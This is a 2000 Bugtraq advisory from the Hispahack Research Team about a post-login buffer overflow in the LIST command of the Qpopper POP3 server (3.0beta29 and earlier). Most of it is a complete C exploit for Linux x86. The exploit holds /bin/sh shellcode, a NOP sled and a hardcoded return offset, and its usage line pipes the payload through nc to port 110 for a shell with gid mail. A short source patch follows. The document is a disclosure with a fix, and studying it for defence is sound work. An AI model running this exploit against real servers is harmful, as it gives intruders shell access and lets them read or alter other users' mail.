=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


    Date: Ср, 26 янв 2000  16:55:11

   От: Zhodiac <zhodiac@SOFTHOME.NET>

 Кому: BUGTRAQ@SECURITYFOCUS.COM

 Тема: Qpopper security bug

--------------------------------------------------------------------------------




 !Hispahack Research Team

 http://hispahack.ccc.de



 Program: Qpopper <= 3.0beta29 (2.53 and olders are not vulnerable)

 Platform: *nix

 Risk: Remote access

 Author: Zhodiac <zhodiac@softhome.net>

 Date: 20/1/2000





 - Problem:

 ===========



    The, nowadays, so common qpop pop3 server is one of the best server

 which implements some features added not in normal pop3d. Like almost all

 software it has some security bugs. In this case, once you pass the

 login process you can execute malicious code due to a buffer overflow.



    With this buffer overflow (second argument of the LIST command) you

 can execute malicious code with the uid of the user you logged in, and

 with gid mail. Due to have gid mail, in some systems you can read all the

 mail of other users and even change/delete it.





 - Exploit:

 ==========



     For proof of vulnerability we release the Linux x86 xploit. But be

 aware, no public xploit for your system does not mean you can't be

 hacked. Vulnerability exists, fix it!



------- qpop-xploit.c ----------



/*

 * !Hispahack Research Team

 * http://hispahack.ccc.de

 *

 * By Zhodiac <zhodiac@softhome.net>

 *

 * Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)

 * Overflow at pop_list()->pop_msg()

 *

 * Tested: 3.0beta28  offset=0

 *         3.0beta26  offset=0

 *         3.0beta25  offset=0

 *

 * #include <standar/disclaimer.h>

 *

 * This code is dedicated to my love [CrAsH]] and to all the people who

 * were raided in Spain in the last few days.

 *

 * Madrid 10/1/2000

 *

 */



#include <stdio.h>



#define BUFFERSIZE 1004

#define NOP 0x90

#define OFFSET 0xbfffd9c4



char shellcode[]=

 "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"

 "\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"

 "\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";





void usage(char *progname) {

 fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);

 exit(1);

}



int main(int argc, char **argv) {

char *ptr,buffer[BUFFERSIZE];

unsigned long *long_ptr,offset=OFFSET;

int aux;



 fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");

 fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");



 if (argc<3) usage(argv[0]);



 if (argc==4) offset+=atol(argv[3]);



 ptr=buffer;

 memset(ptr,0,sizeof(buffer));

 memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);

 ptr+=sizeof(buffer)-strlen(shellcode)-16;

 memcpy(ptr,shellcode,strlen(shellcode));

 ptr+=strlen(shellcode);

 long_ptr=(unsigned long*)ptr;

 for(aux=0;aux<4;aux++) *(long_ptr++)=offset;

 ptr=(char *)long_ptr;

 *ptr='\0';



 fprintf(stderr,"Buffer size: %d\n",strlen(buffer));

 fprintf(stderr,"Offset: 0x%lx\n\n",offset);



 printf("USER %s\n",argv[1]);

 sleep(1);

 printf("PASS %s\n",argv[2]);

 sleep(1);

 printf("LIST 1 %s\n",buffer);

 sleep(1);

 printf("uname -a; id\n");



 return(0);

}



------- qpop-xploit.c ---------





 - Fix:

 ======



   Best solution is to wait for a new patched version, meanwhile here you

 have a patch that will stop this attack (be aware that this patch was not

 done after a total revision of the code, maybe there are some other

 overflows).



------ pop_list.patch ---------



77c77

<               return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %s",

---

>               return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %.128s",



------ pop_list.patch ---------



 piscis:~# patch pop_list.c pop_list.patch

 piscis:~#



 Spain r0x



 Greets :)



 Zhodiac